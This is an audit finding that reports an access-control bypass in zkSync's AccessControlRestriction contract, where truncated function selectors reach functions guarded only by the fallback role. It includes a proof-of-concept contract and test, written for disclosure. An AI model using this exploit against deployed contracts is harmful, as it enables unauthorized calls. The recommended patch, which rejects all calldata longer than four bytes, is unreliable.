Summary
The role to call the fallback functions in the AccessControlRestriction contract can be bypassed to also call other functions if:
The target contract was compiled with solc <=0.4.17
The function signature ends a 00 byte
without having set any role for any other function.
Vulnerability Details
Evaluate the following piece of code coming from the AccessControlRestriction contract:
function validateCall(Call calldata _call, address _invoker) external view override {
if (_call.data.length < 4) {
if (!hasRole(requiredRolesForFallback[_call.target], _invoker)) {
revert AccessToFallbackDenied(_call.target, _invoker);
}
} else {
bytes4 selector = bytes4(_call.data[:4]);
if (!hasRole(requiredRoles[_call.target][selector], _invoker)) {
revert AccessToFunctionDenied(_call.target, selector, _invoker);
}
}
}
https://github.com/Cyfrin/2024-10-zksync/blob/cfc1251de29379a9548eeff1eea3c78267288356/era-contracts/l1-contracts/contracts/governance/AccessControlRestriction.sol#L62-L77
Having the calldata set to less than 4 bytes doesn't necessarily means that the fallback function will be called. The function signature in the target contract could be 0x10000000 and be called with the calldata 0x10.
This is due to a bug in versions of Solidity versions older than 0.4.18, learn more in the release announcement of the version 0.4.18.
Code Generator: Do not accept data with less than four bytes (truncated function signature) for regular function calls - fallback function is invoked instead.
Because of this, it is possible to call a function whose signature ends with 00 because of this missing 4 bytes check.
POC
See the following target contract,
new file mode 100644
@@ -0,0 +1,16 @@
+pragma solidity 0.4.17;
+
+contract PermissionedToken {
+ // 0x58739800
+ bool public wCalled;
+ function withdrawAllFor(address) public { wCalled = true; }
+ // 0x873e9600
+ bool public gCalled;
+ function getOracleState(address,uint32) public { gCalled = true; }
+ // 0xbc000000
+ bool public pCalled;
+ function pwn_8928181() public { pCalled = true; }
+
+ bool public fCalled;
+ function () payable { fCalled = true; }
+}
As well as the following test that showcases the vulnerability in the AccessControlRestriction.t.sol test file.
@@ -201,4 +201,62 @@ contract AccessRestrictionTest is Test {
Call memory call = Call({target: address(chainAdmin), value: 0, data: ""});
restriction.validateCall(call, randomCaller);
}
+
+ function test_FallbackRoleValidateTruncated() public {
+ bytes memory code = abi.encodePacked(vm.getCode("contracts/PermissionedToken.sol"));
+ address token;
+ assembly {
+ token := create(0, add(code, 0x20), mload(code))
+ }
+ assert(token != address(0));
+
+ vm.startPrank(owner);
+ restriction.setRequiredRoleForFallback(token, DEFAULT_ADMIN_ROLE);
+
+ Call memory call;
+ Call[] memory calls = new Call[]();
+ bytes4 sig;
+
+ // 1. prove that we can call withdrawAllFor
+ assertFalse(IToken(token).wCalled());
+ sig = bytes4(keccak256("withdrawAllFor(address)"));
+ call = Call({target: token, value: 0, data: abi.encode(bytes3(sig))}); // truncate sig to 3 bytes
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).wCalled());
+
+ // 2. prove that we can call getOracleState
+ assertFalse(IToken(token).gCalled());
+ sig = bytes4(keccak256("getOracleState(address,uint32)"));
+ call = Call({target: token, value: 0, data: abi.encode(bytes3(sig))}); // truncate sig to 3 bytes
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).gCalled());
+
+ // 3. prove that we can call pwn_8928181
+ assertFalse(IToken(token).pCalled());
+ sig = bytes4(keccak256("pwn_8928181()"));
+ call = Call({target: token, value: 0, data: abi.encode(bytes3(sig))}); // truncate sig to 3 bytes
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).pCalled());
+
+ // 4. prove that we can call fallback
+ assertFalse(IToken(token).fCalled());
+ call = Call({target: token, value: 0, data: ""}); // call fallback
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).fCalled());
+ }
+}
+
+interface IToken {
+ function wCalled() external view returns (bool);
+ function gCalled() external view returns (bool);
+ function pCalled() external view returns (bool);
+ function fCalled() external view returns (bool);
}
Impact
This vulnerability makes it possible to bypass the fallback role in the AccessControlRestriction contract and still be able to call functions without the requiredRole and could lead to catastrophic access control vulnerabilities in target contracts.
Tools Used
https://github.com/iFrostizz/sig_cracker
vim
Recommendations
If assuming that fallback functions are triggered when the calldata is empty, require the caller to either supply a calldata lenth of 0 (fallback) or >= 4 (selector). There should be a case testing that calls with a data length included in ]0; 4[ are rejected as they are very exotic anyway.
@@ -64,15 +64,18 @@ contract AccessControlRestriction is Restriction, IAccessControlRestriction, Acc
// Note, that since `DEFAULT_ADMIN_ROLE` is 0 and the default storage value for the
// `requiredRoles` and `requiredRolesForFallback` is 0, the default admin is by default a required
// role for all the functions.
- if (_call.data.length < 4) {
+ if (_call.data.length == 0) {
if (!hasRole(requiredRolesForFallback[_call.target], _invoker)) {
revert AccessToFallbackDenied(_call.target, _invoker);
}
- } else {
+ } else if (_call.data.length == 4) {
bytes4 selector = bytes4(_call.data[:4]);
if (!hasRole(requiredRoles[_call.target][selector], _invoker)) {
revert AccessToFunctionDenied(_call.target, selector, _invoker);
}
+ } else {
+ bytes4 selector = bytes4(_call.data);
+ revert AccessToFunctionDenied(_call.target, selector, _invoker);
}
}
}
